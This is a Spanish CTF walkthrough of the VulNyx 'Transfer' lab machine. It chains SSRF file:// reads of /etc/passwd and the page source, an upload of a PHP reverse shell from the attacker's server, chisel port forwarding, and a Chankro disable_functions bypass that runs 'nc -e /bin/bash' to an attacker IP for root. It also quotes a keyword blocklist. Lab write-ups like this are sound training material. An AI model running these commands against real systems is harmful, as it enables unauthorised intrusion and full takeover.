VulNyx - Transfer
- SSRF URL Scheme
- Port Forwarding
- Disable Functions Bypass
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.42
PORT STATE SERVICE
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 80 192.168.1.42
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
En el puerto 80 hay un servidor apache por defecto.
Realizo fuerza bruta de extensiones php.
❯ wfuzz -c -t 200 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.1.42/FUZZ.FUZ2Z' -z list,php --hc=404 --hl=9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.42/FUZZ.FUZ2Z
Total requests: 18852
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000008757: 200 367 L 933 W 10700 Ch "index - php"
Uso curl para ver la información del archivo index.php.
❯ curl -s -I http://192.168.1.42
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 17:25:16 GMT
Server: Apache/2.4.38 (Debian)
Set-Cookie: cookie=MRXW2YLJNY6XGZLDOVZGK5DSMFXHGZTFOIXG46LY
Content-Type: text/html; charset=UTF-8
Decodifico la cadena que hay en la cookie y encuentro el dominio securetransfer.nyx.
❯ echo "MRXW2YLJNY6XGZLDOVZGK5DSMFXHGZTFOIXG46LY" | base32 -d
domain=securetransfer.nyx
Después de agregar el dominio a mi archivo hosts realizo un escaneo de subdominios y encuentro el subdominio intranet2.
❯ wfuzz -c -t 200 --hl=367 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.securetransfer.nyx" http://securetransfer.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://securetransfer.nyx/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001809: 200 23 L 41 W 417 Ch "intranet2"
Agrego el subdominio intranet2 al archivo hosts y seguidamente lo abro en el navegador.
Al mandar una petición veo que la salida es de la herramienta curl.
Con la envoltura file:// puedo leer el archivo passwd.
file:///etc/passwd
En el archivo environ encuentro la ruta /var/www/intranet
que es donde está la herramienta que estoy usando.
file:///proc/self/environ
Consigo leer el archivo index.php
.
file:///var/www/intranet/index.php
El array $disallowed
que contiene una lista de palabras y caracteres no permitidos, esta lista se utiliza para verificar si alguno de estos caracteres está presente en la URL enviada para prevenir la ejecución de algunos comandos o evasión de palabras no permitidas.
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
Lanzo un ls -la y veo que tengo los siguientes permisos drwxrwxrwx.
Sabiendo esto preparo una reverse shell en php, levanto un servidor http con python en la ruta donde tengo la reverse shell y con curl puedo escribir en el directorio intranet utilizando el parámetro -o
de la siguiente forma:
http://192.168.1.18/rs.php -o /var/www/intranet/rs.php
Ahora verifico que se ha subido el archivo rs.php
.
Mando una petición con curl y obtengo la shell.
La shell tiene que estar en el puerto 443 sino no funcionará.
Una vez dentro del sistema enumero puertos internos y me llama la atención el puerto 8888.
www-data@transfer:/$ ss -ltun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
tcp LISTEN 0 128 *:80 *:*
Con ps aux veo que el puerto 8888 es un servidor web local ubicado en /dev/shm
.
www-data@transfer:/$ ps aux
root 329 0.0 0.0 2388 756 ? Ss 19:10 0:00 /bin/sh -c php -S 127.0.0.1:8888 -t /dev/shm
root 338 0.0 2.0 196304 20656 ? S 19:10 0:01 php -S 127.0.0.1:8888 -t /dev/shm
Verifico los permisos de /dev/shm
.
www-data@transfer:/$ ls -la /dev/shm
total 0
drwxrwxrwt 2 root root 40 Jun 25 13:23 .
drwxr-xr-x 17 root root 3180 Jun 25 13:23 ..
Creo un port forwarding con chisel para poder ver el puerto 8888 de la máquina víctima en mi máquina.
Máquina atacante.
❯ ./chisel server -p 9080 --reverse
Máquina victima.
www-data@transfer:/tmp$ ./chisel client 192.168.1.18:9080 R:8888:127.0.0.1:8888
Con firefox visualizo el puerto 8888.
Creo una rshell.php
dentro de /dev/shm
, al ejecutarla me sale el siguiente mensaje y se cierra la conexión.
Creo un el archivo phpinfo.php
dentro de /dev/shm
.
phpinfo();
En el apartado disable_functions
veo las funciones que están deshabilitadas y me doy cuenta porque no ha funcionado la reverse shell.
Para evadir disable_functions
me descargo la herramienta Chankro de TarlogicSecurity, una vez descargada me muevo dentro del directorio de la herramienta y creo el archivo rshell.sh
.
#!/bin/bash
nc -e /bin/bash 192.168.1.18 1337
Con chankro genero el archivo rsh.php
.
❯ python2 chankro.py --arch 64 --input rshell.sh --output rsh.php --path .
-=[ Chankro ]=-
-={ @TheXC3LL }=-
[+] Binary file: rshell.sh
[+] Architecture: x64
[+] Final PHP: rsh.php
[+] File created!
Subo el archivo rsh.php
a /dev/shm/
luego mando una petición con curl para ejecutarla.
www-data@transfer:/dev/shm$ curl localhost:8888/rsh.php
Y sorpresa! recibo una shell como usuario root.
❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.42] 43506
script /dev/null -c bash
Script iniciado; el fichero es /dev/null
root@transfer:/dev/shm# id
uid=0(root) gid=0(root) grupos=0(root)
root@transfer:/dev/shm#
Y con esto ya tenemos resuelta la máquina Transfer.
Saludos!